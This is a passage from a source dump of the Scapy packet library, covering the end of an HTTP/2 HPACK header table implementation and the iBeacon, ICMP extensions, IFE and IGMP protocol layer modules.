''),\n        59: HPackHdrEntry('vary', ''),\n        60: HPackHdrEntry('via', ''),\n        61: HPackHdrEntry('www-authenticate', ''),\n    }\n\n    # The value of this variable cannot be determined at declaration time. It is  # noqa: E501\n    # initialized by an init_static_table call\n    _static_entries_last_idx = None  # type: int\n\n    @classmethod\n    def init_static_table(cls):\n        # type: () -> None\n        cls._static_entries_last_idx = max(cls._static_entries)\n\n    def __init__(self, dynamic_table_max_size=4096, dynamic_table_cap_size=4096):  # noqa: E501\n        # type: (int, int) -> None\n        \"\"\"\n        :param int dynamic_table_max_size: the current maximum size of the dynamic entry table in bytes  # noqa: E501\n        :param int dynamic_table_cap_size: the maximum-maximum size of the dynamic entry table in bytes  # noqa: E501\n        :raises:s AssertionError\n        \"\"\"\n        self._regexp = None  # type: Pattern\n        if isinstance(type(self)._static_entries_last_idx, type(None)):\n            type(self).init_static_table()\n\n        assert dynamic_table_max_size <= dynamic_table_cap_size, \\\n            'EINVAL: dynamic_table_max_size too large; expected value is less or equal to dynamic_table_cap_size'  # noqa: E501\n\n        self._dynamic_table = []  # type: List[HPackHdrEntry]\n        self._dynamic_table_max_size = dynamic_table_max_size\n        self._dynamic_table_cap_size = dynamic_table_cap_size\n\n    def __getitem__(self, idx):\n        # type: (int) -> HPackHdrEntry\n        \"\"\"Gets an element from the header tables (static or dynamic indifferently)\n\n        :param int idx: the index number of the entry to retrieve. If the index\n        value is superior to the last index of the static entry table, then the\n        dynamic entry type is requested, following the procedure described in\n        RFC 7541 par2.3.3\n        :return: HPackHdrEntry: the entry defined at this requested index. If the entry does not exist, KeyError is  # noqa: E501\n          raised\n        :raises: KeyError, AssertionError\n        \"\"\"\n        assert idx >= 0\n        if idx > type(self)._static_entries_last_idx:\n            idx -= type(self)._static_entries_last_idx + 1\n            if idx >= len(self._dynamic_table):\n                raise KeyError(\n                    'EINVAL: idx: out-of-bound read: {}; maximum index: {}'.format(idx, len(self._dynamic_table))  # noqa: E501\n                )\n            return self._dynamic_table[idx]\n        return type(self)._static_entries[idx]\n\n    def resize(self, ns):\n        # type: (int) -> None\n        \"\"\"Resize the dynamic table. If the new size (ns) must be between 0 and\n        the cap size. If the new size is lower than the current size of the\n        dynamic table, entries are evicted.\n        :param int ns: the new size of the dynamic table\n        :raises: AssertionError\n        \"\"\"\n        assert 0 <= ns <= self._dynamic_table_cap_size, \\\n            'EINVAL: ns: out-of-range value; expected value is in the range [0;{}['.format(self._dynamic_table_cap_size)  # noqa: E501\n\n        old_size = self._dynamic_table_max_size\n        self._dynamic_table_max_size = ns\n        if old_size > self._dynamic_table_max_size:\n            self._reduce_dynamic_table()\n\n    def recap(self, nc):\n        # type: (int) -> None\n        \"\"\"recap changes the maximum size limit of the dynamic table. It also\n        proceeds to a resize(), if the new size is lower than the previous one.\n        :param int nc: the new cap of the dynamic table (that is the maximum-maximum size)  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        assert nc >= 0\n        t = self._dynamic_table_cap_size > nc\n        self._dynamic_table_cap_size = nc\n\n        if t:\n            # The RFC is not clear about whether this resize should happen;\n            # we do it anyway\n            self.resize(nc)\n\n    def _reduce_dynamic_table(self, new_entry_size=0):\n        # type: (int) -> None\n        \"\"\"_reduce_dynamic_table evicts entries from the dynamic table until it\n        fits in less than the current size limit. The optional parameter,\n        new_entry_size, allows the resize to happen so that a new entry of this\n        size fits in.\n        :param int new_entry_size: if called before adding a new entry, the size of the new entry in bytes (following  # noqa: E501\n        the RFC7541 definition of the size of an entry)\n        :raises: AssertionError\n        \"\"\"\n        assert new_entry_size >= 0\n        cur_sz = len(self)\n        dyn_tbl_sz = len(self._dynamic_table)\n        while dyn_tbl_sz > 0 and cur_sz + new_entry_size > self._dynamic_table_max_size:  # noqa: E501\n            last_elmt_sz = len(self._dynamic_table[-1])\n            self._dynamic_table.pop()\n            dyn_tbl_sz -= 1\n            cur_sz -= last_elmt_sz\n\n    def register(self, hdrs):\n        # type: (Union[HPackLitHdrFldWithIncrIndexing, H2Frame, List[HPackHeaders]]) -> None  # noqa: E501\n        \"\"\"register adds to this table the instances of\n        HPackLitHdrFldWithIncrIndexing provided as parameters.\n\n        A H2Frame with a H2HeadersFrame payload can be provided, as much as a\n        python list of HPackHeaders or a single HPackLitHdrFldWithIncrIndexing\n        instance.\n        :param HPackLitHdrFldWithIncrIndexing|H2Frame|list of HPackHeaders hdrs: the header(s) to register  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        if isinstance(hdrs, H2Frame):\n            hdrs = [hdr for hdr in hdrs.payload.hdrs if isinstance(hdr, HPackLitHdrFldWithIncrIndexing)]  # noqa: E501\n        elif isinstance(hdrs, HPackLitHdrFldWithIncrIndexing):\n            hdrs = [hdrs]\n        else:\n            hdrs = [hdr for hdr in hdrs if isinstance(hdr, HPackLitHdrFldWithIncrIndexing)]  # noqa: E501\n\n        for hdr in hdrs:\n            if hdr.index == 0:\n                hdr_name = hdr.hdr_name.getfieldval('data').origin()\n            else:\n                idx = int(hdr.index)\n                hdr_name = self[idx].name()\n            hdr_value = hdr.hdr_value.getfieldval('data').origin()\n\n            # Note: we do not delete any existing hdrentry with the same names\n            # and values, as dictated by RFC 7541 par2.3.2\n\n            entry = HPackHdrEntry(hdr_name, hdr_value)\n            # According to RFC7541 par4.4, \"Before a new entry is added to\n            # the dynamic table, entries are evicted\n            # from the end of the dynamic table until the size of the dynamic\n            # table is less than or equal to (maximum size - new entry size)\n            # or until the table is empty\"\n            # Also, \"It is not an error to attempt to add an entry that is\n            # larger than the maximum size; an attempt to add an entry larger\n            # than the maximum size causes the table to be emptied of all\n            # existing entries and results in an empty table\"\n            # For this reason, we first call the _reduce_dynamic_table and\n            # then throw an assertion error if the new entry does not fit in\n            new_entry_len = len(entry)\n            self._reduce_dynamic_table(new_entry_len)\n            assert new_entry_len <= self._dynamic_table_max_size\n            self._dynamic_table.insert(0, entry)\n\n    def get_idx_by_name(self, name):\n        # type: (str) -> Optional[int]\n        \"\"\" get_idx_by_name returns the index of a matching registered header\n\n        This implementation will prefer returning a static entry index whenever\n        possible. If multiple matching header name are found in the static\n        table, there is insurance that the first entry (lowest index number)\n        will be returned.\n        If no matching header is found, this method returns None.\n        \"\"\"\n        name = name.lower()\n        for key, val in type(self)._static_entries.items():\n            if val.name() == name:\n                return key\n        for idx, val in enumerate(self._dynamic_table):\n            if val.name() == name:\n                return type(self)._static_entries_last_idx + idx + 1\n        return None\n\n    def get_idx_by_name_and_value(self, name, value):\n        # type: (str, str) -> Optional[int]\n        \"\"\" get_idx_by_name_and_value returns the index of a matching registered\n        header\n\n        This implementation will prefer returning a static entry index whenever\n        possible. If multiple matching headers are found in the dynamic table,\n        the lowest index is returned\n        If no matching header is found, this method returns None.\n        \"\"\"\n        name = name.lower()\n        for key, val in type(self)._static_entries.items():\n            if val.name() == name and val.value() == value:\n                return key\n        for idx, val in enumerate(self._dynamic_table):\n            if val.name() == name and val.value() == value:\n                return type(self)._static_entries_last_idx + idx + 1\n        return None\n\n    def __len__(self):\n        # type: () -> int\n        \"\"\" __len__ returns the summed length of all dynamic entries\n        \"\"\"\n        return sum(len(x) for x in self._dynamic_table)\n\n    def gen_txt_repr(self, hdrs, register=True):\n        # type: (Union[H2Frame, List[HPackHeaders]], Optional[bool]) -> str\n        \"\"\"\n        gen_txt_repr returns a \"textual\" representation of the provided\n        headers.\n        The output of this function is compatible with the input of\n        parse_txt_hdrs.\n\n        :param H2Frame|list of HPackHeaders hdrs: the list of headers to\n          convert to textual representation.\n        :param bool: whether incremental headers should be added to the dynamic\n          table as we generate the text representation\n        :return: str: the textual representation of the provided headers\n        :raises: AssertionError\n        \"\"\"\n        lst = []\n        if isinstance(hdrs, H2Frame):\n            hdrs = hdrs.payload.hdrs\n\n        for hdr in hdrs:\n            try:\n                if isinstance(hdr, HPackIndexedHdr):\n                    lst.append('{}'.format(self[hdr.index]))\n                elif isinstance(hdr, (\n                    HPackLitHdrFldWithIncrIndexing,\n                    HPackLitHdrFldWithoutIndexing\n                )):\n                    if hdr.index != 0:\n                        name = self[hdr.index].name()\n                    else:\n                        name = hdr.hdr_name.getfieldval('data').origin()\n                    if name.startswith(':'):\n                        lst.append(\n                            '{} {}'.format(\n                                name,\n                                hdr.hdr_value.getfieldval('data').origin()\n                            )\n                        )\n                    else:\n                        lst.append(\n                            '{}: {}'.format(\n                                name,\n                                hdr.hdr_value.getfieldval('data').origin()\n                            )\n                        )\n                if register and isinstance(hdr, HPackLitHdrFldWithIncrIndexing):  # noqa: E501\n                    self.register(hdr)\n            except KeyError as e:  # raised when an index is out-of-bound\n                print(e)\n                continue\n        return '\\n'.join(lst)\n\n    @staticmethod\n    def _optimize_header_length_and_packetify(s):\n        # type: (str) -> HPackHdrString\n        zs = HPackZString(s)\n        if len(zs) >= len(s):\n            return HPackHdrString(data=HPackLiteralString(s))\n        return HPackHdrString(data=zs)\n\n    def _convert_a_header_to_a_h2_header(self, hdr_name, hdr_value, is_sensitive, should_index):  # noqa: E501\n        # type: (str, str, Callable[[str, str], bool], Callable[[str], bool]) -> Tuple[HPackHeaders, int]  # noqa: E501\n        \"\"\" _convert_a_header_to_a_h2_header builds a HPackHeaders from a header\n        name and a value. It returns a HPackIndexedHdr whenever possible. If not,  # noqa: E501\n        it returns a HPackLitHdrFldWithoutIndexing or a\n        HPackLitHdrFldWithIncrIndexing, based on the should_index callback.\n        HPackLitHdrFldWithoutIndexing is forced if the is_sensitive callback\n        returns True and its never_index bit is set.\n        \"\"\"\n\n        # If both name and value are already indexed\n        idx = self.get_idx_by_name_and_value(hdr_name, hdr_value)\n        if idx is not None:\n            return HPackIndexedHdr(index=idx), len(self[idx])\n\n        # The value is not indexed for this headers\n\n        _hdr_value = self._optimize_header_length_and_packetify(hdr_value)\n\n        # Searching if the header name is indexed\n        idx = self.get_idx_by_name(hdr_name)\n        if idx is not None:\n            if is_sensitive(\n                hdr_name,\n                _hdr_value.getfieldval('data').origin()\n            ):\n                return HPackLitHdrFldWithoutIndexing(\n                    never_index=1,\n                    index=idx,\n                    hdr_value=_hdr_value\n                ), len(\n                    HPackHdrEntry(\n                        self[idx].name(),\n                        _hdr_value.getfieldval('data').origin()\n                    )\n                )\n            if should_index(hdr_name):\n                return HPackLitHdrFldWithIncrIndexing(\n                    index=idx,\n                    hdr_value=_hdr_value\n                ), len(\n                    HPackHdrEntry(\n                        self[idx].name(),\n                        _hdr_value.getfieldval('data').origin()\n                    )\n                )\n            return HPackLitHdrFldWithoutIndexing(\n                index=idx,\n                hdr_value=_hdr_value\n            ), len(\n                HPackHdrEntry(\n                    self[idx].name(),\n                    _hdr_value.getfieldval('data').origin()\n                )\n            )\n\n        _hdr_name = self._optimize_header_length_and_packetify(hdr_name)\n\n        if is_sensitive(\n            _hdr_name.getfieldval('data').origin(),\n            _hdr_value.getfieldval('data').origin()\n        ):\n            return HPackLitHdrFldWithoutIndexing(\n                never_index=1,\n                index=0,\n                hdr_name=_hdr_name,\n                hdr_value=_hdr_value\n            ), len(\n                HPackHdrEntry(\n                    _hdr_name.getfieldval('data').origin(),\n                    _hdr_value.getfieldval('data').origin()\n                )\n            )\n        if should_index(_hdr_name.getfieldval('data').origin()):\n            return HPackLitHdrFldWithIncrIndexing(\n                index=0,\n                hdr_name=_hdr_name,\n                hdr_value=_hdr_value\n            ), len(\n                HPackHdrEntry(\n                    _hdr_name.getfieldval('data').origin(),\n                    _hdr_value.getfieldval('data').origin()\n                )\n            )\n        return HPackLitHdrFldWithoutIndexing(\n            index=0,\n            hdr_name=_hdr_name,\n            hdr_value=_hdr_value\n        ), len(\n            HPackHdrEntry(\n                _hdr_name.getfieldval('data').origin(),\n                _hdr_value.getfieldval('data').origin()\n            )\n        )\n\n    def _parse_header_line(self, line):\n        # type: (str) -> Union[Tuple[None, None], Tuple[str, str]]\n\n        if self._regexp is None:\n            self._regexp = re.compile(br'^(?::([a-z\\-0-9]+)|([a-z\\-0-9]+):)\\s+(.+)$')  # noqa: E501\n\n        hdr_line = line.rstrip()\n        grp = self._regexp.match(hdr_line)\n\n        if grp is None or len(grp.groups()) != 3:\n            return None, None\n\n        if grp.group(1) is not None:\n            hdr_name = b':' + grp.group(1)\n        else:\n            hdr_name = grp.group(2)\n        return plain_str(hdr_name.lower()), plain_str(grp.group(3))\n\n    def parse_txt_hdrs(self,\n                       s,  # type: Union[bytes, str]\n                       stream_id=1,  # type: int\n                       body=None,  # type: Optional[str]\n                       max_frm_sz=4096,  # type: int\n                       max_hdr_lst_sz=0,  # type: int\n                       is_sensitive=lambda n, v: False,  # type: Callable[[str, str], bool]  # noqa: E501\n                       should_index=lambda x: False,  # type: Callable[[str], bool]  # noqa: E501\n                       register=True,  # type: bool\n                       ):\n        # type: (...) -> H2Seq\n        \"\"\"\n        parse_txt_hdrs parses headers expressed in text and converts them\n        into a series of H2Frames with the \"correct\" flags. A body can be\n        provided in which case, the data frames are added, bearing the End\n        Stream flag, instead of the H2HeadersFrame/H2ContinuationFrame.\n        The generated frames may respect max_frm_sz (SETTINGS_MAX_FRAME_SIZE)\n        and max_hdr_lst_sz (SETTINGS_MAX_HEADER_LIST_SIZE) if provided.\n        The headers are split into multiple headers fragment (and H2Frames)\n        to respect these limits. Also, a callback can be provided to tell if\n        a header should be never indexed (sensitive headers, such as cookies),\n        and another callback say if the header should be registered into the\n        index table at all.\n        For an header to be registered, the is_sensitive callback must return\n        False AND the should_index callback should return True. This is the\n        default behavior.\n\n        :param str s: the string to parse for headers\n        :param int stream_id: the stream id to use in the generated H2Frames\n        :param str/None body: the eventual body of the request, that is added\n          to the generated frames\n        :param int max_frm_sz: the maximum frame size. This is used to split\n          the headers and data frames according to the maximum frame size\n          negotiated for this connection.\n        :param int max_hdr_lst_sz: the maximum size of a \"header fragment\" as\n          defined in RFC7540\n        :param callable is_sensitive: callback that returns True if the\n          provided header is sensible and must be stored in a header packet\n          requesting this header never to be indexed\n        :param callable should_index: callback that returns True if the\n          provided header should be stored in a header packet requesting\n          indexation in the dynamic header table.\n        :param bool register: whether to register new headers with incremental\n          indexing as we parse them\n        :raises: Exception\n        \"\"\"\n\n        sio = BytesIO(s.encode() if isinstance(s, str) else s)\n\n        base_frm_len = len(raw(H2Frame()))\n\n        ret = H2Seq()\n        cur_frm = H2HeadersFrame()  # type: Union[H2HeadersFrame, H2ContinuationFrame]  # noqa: E501\n        cur_hdr_sz = 0\n\n        # For each line in the headers str to parse\n        for hdr_line in sio:\n            hdr_name, hdr_value = self._parse_header_line(hdr_line)\n            if hdr_name is None:\n                continue\n\n            new_hdr, new_hdr_len = self._convert_a_header_to_a_h2_header(\n                hdr_name, hdr_value, is_sensitive, should_index\n            )\n            new_hdr_bin_len = len(raw(new_hdr))\n\n            if register and isinstance(new_hdr, HPackLitHdrFldWithIncrIndexing):  # noqa: E501\n                self.register(new_hdr)\n\n            # The new header binary length (+ base frame size) must not exceed\n            # the maximum frame size or it will just never fit. Also, the\n            # header entry length (as specified in RFC7540 par6.5.2) must not\n            # exceed the maximum length of a header fragment or it will just\n            # never fit\n            if (new_hdr_bin_len + base_frm_len > max_frm_sz or\n                    (max_hdr_lst_sz != 0 and new_hdr_len > max_hdr_lst_sz)):\n                raise Exception('Header too long: {}'.format(hdr_name))\n\n            if (max_frm_sz < len(raw(cur_frm)) + base_frm_len + new_hdr_len or\n                (\n                    max_hdr_lst_sz != 0 and\n                    max_hdr_lst_sz < cur_hdr_sz + new_hdr_len\n            )\n            ):\n                flags = set()\n                if isinstance(cur_frm, H2HeadersFrame) and not body:\n                    flags.add('ES')\n                ret.frames.append(H2Frame(stream_id=stream_id, flags=flags) / cur_frm)  # noqa: E501\n                cur_frm = H2ContinuationFrame()\n                cur_hdr_sz = 0\n\n            hdr_list = cur_frm.hdrs\n            hdr_list += new_hdr\n            cur_hdr_sz += new_hdr_len\n\n        flags = {'EH'}\n        if isinstance(cur_frm, H2HeadersFrame) and not body:\n            flags.add('ES')\n        ret.frames.append(H2Frame(stream_id=stream_id, flags=flags) / cur_frm)\n\n        if body:\n            base_data_frm_len = len(raw(H2DataFrame()))\n            sio = BytesIO(body)\n            frgmt = sio.read(max_frm_sz - base_data_frm_len - base_frm_len)\n            while frgmt:\n                nxt_frgmt = sio.read(max_frm_sz - base_data_frm_len - base_frm_len)  # noqa: E501\n                flags = set()\n                if len(nxt_frgmt) == 0:\n                    flags.add('ES')\n                ret.frames.append(\n                    H2Frame(stream_id=stream_id, flags=flags) / H2DataFrame(data=frgmt)  # noqa: E501\n                )\n                frgmt = nxt_frgmt\n        return ret\n"
  },
  {
    "path": "scapy/contrib/ibeacon.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Michael Farrell <micolous+git@gmail.com>\n\n# scapy.contrib.description = iBeacon BLE proximity beacon\n# scapy.contrib.status = loads\n\"\"\"\nscapy.contrib.ibeacon - Apple iBeacon Bluetooth LE proximity beacons.\n\nPacket format documentation can be found at at:\n\n* https://en.wikipedia.org/wiki/IBeacon#Packet_Structure_Byte_Map (public)\n* https://developer.apple.com/ibeacon/ (official, requires license)\n\n\"\"\"\n\nfrom scapy.fields import ByteEnumField, ConditionalField, LenField, \\\n    PacketListField, ShortField, SignedByteField, UUIDField\nfrom scapy.layers.bluetooth import EIR_Hdr, EIR_Manufacturer_Specific_Data, \\\n    LowEnergyBeaconHelper\nfrom scapy.packet import bind_layers, Packet\n\nAPPLE_MFG = 0x004c\n\n\nclass Apple_BLE_Submessage(Packet, LowEnergyBeaconHelper):\n    \"\"\"\n    A basic Apple submessage.\n    \"\"\"\n\n    name = \"Apple BLE submessage\"\n    fields_desc = [\n        ByteEnumField(\"subtype\", None, {\n            0x01: \"overflow\",\n            0x02: \"ibeacon\",\n            0x05: \"airdrop\",\n            0x07: \"airpods\",\n            0x09: \"airplay_sink\",\n            0x0a: \"airplay_src\",\n            0x0c: \"handoff\",\n            0x10: \"nearby\",\n        }),\n        ConditionalField(\n            # \"overflow\" messages omit `len` field\n            LenField(\"len\", None, fmt=\"B\"),\n            lambda pkt: pkt.subtype != 0x01\n        ),\n    ]\n\n    def extract_padding(self, s):\n        # Needed to end each EIR_Element packet and make PacketListField work.\n        if self.subtype == 0x01:\n            # Overflow messages are always 16 bytes.\n            return s[:16], s[16:]\n        return s[:self.len], s[self.len:]\n\n    # These methods are here in case you only want to send 1 submessage.\n    # It creates an Apple_BLE_Frame to wrap your (single) Apple_BLE_Submessage.\n    def build_frame(self):\n        \"\"\"Wraps this submessage in a Apple_BLE_Frame.\"\"\"\n        return Apple_BLE_Frame(plist=[self])\n\n    def build_eir(self):\n        \"\"\"See Apple_BLE_Frame.build_eir.\"\"\"\n        return self.build_frame().build_eir()\n\n\nclass Apple_BLE_Frame(Packet, LowEnergyBeaconHelper):\n    \"\"\"\n    The wrapper for a BLE manufacturer-specific data advertisement from Apple\n    devices.\n\n    Each advertisement is composed of one or multiple submessages.\n\n    The length of this field comes from the EIR_Hdr.\n    \"\"\"\n    name = \"Apple BLE broadcast frame\"\n    fields_desc = [\n        PacketListField(\"plist\", None, Apple_BLE_Submessage)\n    ]\n\n    def build_eir(self):\n        \"\"\"Builds a list of EIR messages to wrap this frame.\"\"\"\n\n        return LowEnergyBeaconHelper.base_eir + [\n            EIR_Hdr() / EIR_Manufacturer_Specific_Data() / self\n        ]\n\n\nclass IBeacon_Data(Packet):\n    \"\"\"\n    iBeacon broadcast data frame. Composed on top of an Apple_BLE_Submessage.\n    \"\"\"\n    name = \"iBeacon data\"\n    fields_desc = [\n        UUIDField(\"uuid\", None, uuid_fmt=UUIDField.FORMAT_BE),\n        ShortField(\"major\", None),\n        ShortField(\"minor\", None),\n        SignedByteField(\"tx_power\", None),\n    ]\n\n\nbind_layers(EIR_Manufacturer_Specific_Data, Apple_BLE_Frame,\n            company_identifier=APPLE_MFG)\nbind_layers(Apple_BLE_Submessage, IBeacon_Data, subtype=2)\n"
  },
  {
    "path": "scapy/contrib/icmp_extensions.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = ICMP Extensions (deprecated)\n# scapy.contrib.status = deprecated\n\n__all__ = [\n    \"ICMPExtensionObject\",\n    \"ICMPExtensionHeader\",\n    \"ICMPExtensionInterfaceInformation\",\n    \"ICMPExtensionMPLS\",\n]\n\nimport warnings\n\nfrom scapy.layers.inet import (\n    ICMPExtension_Object as ICMPExtensionObject,\n    ICMPExtension_Header as ICMPExtensionHeader,\n    ICMPExtension_InterfaceInformation as ICMPExtensionInterfaceInformation,\n)\nfrom scapy.contrib.mpls import (\n    ICMPExtension_MPLS as ICMPExtensionMPLS,\n)\n\nwarnings.warn(\n    \"scapy.contrib.icmp_extensions is deprecated. Behavior has changed ! \"\n    \"Use scapy.layers.inet\",\n    DeprecationWarning\n)\n"
  },
  {
    "path": "scapy/contrib/ife.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = ForCES Inter-FE LFB type (IFE)\n# scapy.contrib.status = loads\n\n\"\"\"\n    IFE - ForCES Inter-FE LFB type\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    :author:    Alexander Aring, aring@mojatatu.com\n\n    :description:\n\n        This module provides Scapy layers for the IFE protocol.\n\n        normative references:\n            - RFC 8013\n              Forwarding and Control Element Separation (ForCES)\n              Inter-FE Logical Functional Block (LFB)\n              https://tools.ietf.org/html/rfc8013\n\"\"\"\n\nimport functools\n\nfrom scapy.data import ETHER_TYPES\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import FieldLenField, PacketListField, IntField, \\\n    MultipleTypeField, ShortField, ShortEnumField, StrField, PadField\nfrom scapy.layers.l2 import Ether\n\nETH_P_IFE = 0xed3e\nETHER_TYPES[ETH_P_IFE] = 'IFE'\n\n# The value to set for the skb mark.\nIFE_META_SKBMARK = 0x0001\nIFE_META_HASHID = 0x0002\n# Value to set for priority in the skb structure.\nIFE_META_PRIO = 0x0003\nIFE_META_QMAP = 0x0004\n# Value to set for the traffic control index in the skb structure.\nIFE_META_TCINDEX = 0x0005\n\nIFE_META_TYPES = {\n    IFE_META_SKBMARK: \"SKBMark\",\n    IFE_META_HASHID: \"HashID\",\n    IFE_META_PRIO: \"Prio\",\n    IFE_META_QMAP: \"QMap\",\n    IFE_META_TCINDEX: \"TCIndex\"\n}\n\nIFE_TYPES_SHORT = [IFE_META_TCINDEX]\nIFE_TYPES_INT = [\n    IFE_META_SKBMARK,\n    IFE_META_PRIO,\n]\n\n\nclass IFETlv(Packet):\n    \"\"\"\n    Parent Class interhit by all ForCES TLV structures\n    \"\"\"\n    name = \"IFETlv\"\n\n    fields_desc = [\n        ShortEnumField(\"type\", 0, IFE_META_TYPES),\n        FieldLenField(\"length\", None, length_of=\"value\",\n                      adjust=lambda pkt, x: x + 4),\n        MultipleTypeField(\n            [\n                (PadField(ShortField(\"value\", 0), 4, padwith=b'\\x00'),\n                 lambda pkt: pkt.type in IFE_TYPES_SHORT),\n                (PadField(IntField(\"value\", 0), 4, padwith=b'\\x00'),\n                 lambda pkt: pkt.type in IFE_TYPES_INT),\n            ],\n            PadField(IntField(\"value\", 0), 4, padwith=b'\\x00')\n        ),\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass IFETlvStr(IFETlv):\n    \"\"\"\n    A IFE TLV with variable payload\n    \"\"\"\n    fields_desc = [\n        ShortEnumField(\"type\", 0, IFE_META_TYPES),\n        FieldLenField(\"length\", None, length_of=\"value\",\n                      adjust=lambda pkt, x: x + 4),\n        StrField(\"value\", \"\")\n    ]\n\n\nclass IFE(Packet):\n    \"\"\"\n    Main IFE Packet Class\n    \"\"\"\n    name = \"IFE\"\n\n    fields_desc = [\n        FieldLenField(\"mdlen\", None, length_of=\"tlvs\",\n                      adjust=lambda pkt, x: x + 2),\n        PacketListField(\"tlvs\", None, IFETlv),\n    ]\n\n\nIFESKBMark = functools.partial(IFETlv, type=IFE_META_SKBMARK)\nIFEHashID = functools.partial(IFETlv, type=IFE_META_HASHID)\nIFEPrio = functools.partial(IFETlv, type=IFE_META_PRIO)\nIFEQMap = functools.partial(IFETlv, type=IFE_META_QMAP)\nIFETCIndex = functools.partial(IFETlv, type=IFE_META_TCINDEX)\n\nbind_layers(Ether, IFE, type=ETH_P_IFE)\n"
  },
  {
    "path": "scapy/contrib/igmp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Internet Group Management Protocol v1/v2 (IGMP/IGMPv2)\n# scapy.contrib.status = loads\n\nfrom scapy.compat import chb, orb\nfrom scapy.error import warning\nfrom scapy.fields import ByteEnumField, ByteField, IPField, XShortField\nfrom scapy.layers.inet import IP, IPOption_Router_Alert\nfrom scapy.layers.l2 import Ether, getmacbyip\nfrom scapy.packet import bind_layers, Packet\nfrom scapy.utils import atol, checksum\n\n\ndef isValidMCAddr(ip):\n    \"\"\"convert dotted quad string to long and check the first octet\"\"\"\n    FirstOct = atol(ip) >> 24 & 0xFF\n    return (FirstOct >= 224) and (FirstOct <= 239)\n\n\nclass IGMP(Packet):\n    \"\"\"IGMP Message Class for v1 and v2.\n\n    This class is derived from class Packet. You  need call \"igmpize()\"\n    so the packet is transformed according the RFC when sent.\n    a=Ether(src=\"00:01:02:03:04:05\")\n    b=IP(src=\"1.2.3.4\")\n    c=IGMP(type=0x12, gaddr=\"224.2.3.4\")\n    x = a/b/c\n    x[IGMP].igmpize()\n    sendp(a/b/c, iface=\"en0\")\n\n        Parameters:\n          type    IGMP type field, 0x11, 0x12, 0x16 or 0x17\n          mrcode  Maximum Response time (zero for v1)\n          gaddr   Multicast Group Address 224.x.x.x/4\n\n    See RFC2236, Section 2. Introduction for definitions of proper\n    IGMPv2 message format   http://www.faqs.org/rfcs/rfc2236.html\n    \"\"\"\n    name = \"IGMP\"\n\n    igmptypes = {0x11: \"Group Membership Query\",\n                 0x12: \"Version 1 - Membership Report\",\n                 0x16: \"Version 2 - Membership Report\",\n                 0x17: \"Leave Group\"}\n\n    fields_desc = [ByteEnumField(\"type\", 0x11, igmptypes),\n                   ByteField(\"mrcode\", 20),\n                   XShortField(\"chksum\", None),\n                   IPField(\"gaddr\", \"0.0.0.0\")]\n\n    def post_build(self, p, pay):\n        \"\"\"Called implicitly before a packet is sent to compute and place IGMP checksum.\n\n        Parameters:\n          self    The instantiation of an IGMP class\n          p       The IGMP message in hex in network byte order\n          pay     Additional payload for the IGMP message\n        \"\"\"\n        p += pay\n        if self.chksum is None:\n            ck = checksum(p)\n            p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:]\n        return p\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 4:\n            from scapy.contrib.igmpv3 import IGMPv3\n            if orb(_pkt[0]) in [0x22, 0x30, 0x31, 0x32]:\n                return IGMPv3\n            if orb(_pkt[0]) == 0x11 and len(_pkt) >= 12:\n                return IGMPv3\n        return IGMP\n\n    def igmpize(self):\n        \"\"\"Called to explicitly fixup the packet according to the IGMP RFC\n\n        The rules are:\n        - General:\n        1.  the Max Response time is meaningful only in Membership Queries and should be zero\n        - IP:\n        1. Send General Group Query to 224.0.0.1 (all systems)\n        2. Send Leave Group to 224.0.0.2 (all routers)\n        3a.Otherwise send the packet to the group address\n        3b.Send reports/joins to the group address\n        4. ttl = 1 (RFC 2236, section 2)\n        5. send the packet with the router alert IP option (RFC 2236, section 2)\n        - Ether:\n        1. Recalculate destination\n\n        Returns:\n            True    The tuple ether/ip/self passed all check and represents\n                    a proper IGMP packet.\n            False   One of more validation checks failed and no fields\n                    were adjusted.\n\n        The function will examine the IGMP message to assure proper format.\n        Corrections will be attempted if possible. The IP header is then properly\n        adjusted to ensure correct formatting and assignment. The Ethernet header\n        is then adjusted to the proper IGMP packet format.\n        \"\"\"\n        from scapy.contrib.igmpv3 import IGMPv3\n        gaddr = self.gaddr if hasattr(self, \"gaddr\") and self.gaddr else \"0.0.0.0\"  # noqa: E501\n        underlayer = self.underlayer\n        if self.type not in [0x11, 0x30]:                               # General Rule 1  # noqa: E501\n            self.mrcode = 0\n        if isinstance(underlayer, IP):\n            if (self.type == 0x11):\n                if (gaddr == \"0.0.0.0\"):\n                    underlayer.dst = \"224.0.0.1\"                        # IP rule 1  # noqa: E501\n                elif isValidMCAddr(gaddr):\n                    underlayer.dst = gaddr                              # IP rule 3a  # noqa: E501\n                else:\n                    warning(\"Invalid IGMP Group Address detected !\")\n                    return False\n            elif ((self.type == 0x17) and isValidMCAddr(gaddr)):\n                underlayer.dst = \"224.0.0.2\"                           # IP rule 2  # noqa: E501\n            elif ((self.type == 0x12) or (self.type == 0x16)) and (isValidMCAddr(gaddr)):  # noqa: E501\n                underlayer.dst = gaddr                                 # IP rule 3b  # noqa: E501\n            elif (self.type in [0x11, 0x22, 0x30, 0x31, 0x32] and isinstance(self, IGMPv3)):\n                pass\n            else:\n                warning(\"Invalid IGMP Type detected !\")\n                return False\n            if not any(isinstance(x, IPOption_Router_Alert) for x in underlayer.options):  # noqa: E501\n                underlayer.options.append(IPOption_Router_Alert())\n            underlayer.ttl = 1                                         # IP rule 4\n            _root = self.firstlayer()\n            if _root.haslayer(Ether):\n                # Force recalculate Ether dst\n                _root[Ether].dst = getmacbyip(underlayer.dst)          # Ether rule 1  # noqa: E501\n        if isinstance(self, IGMPv3):\n            self.encode_maxrespcode()\n        return True\n\n    def mysummary(self):\n        \"\"\"Display a summary 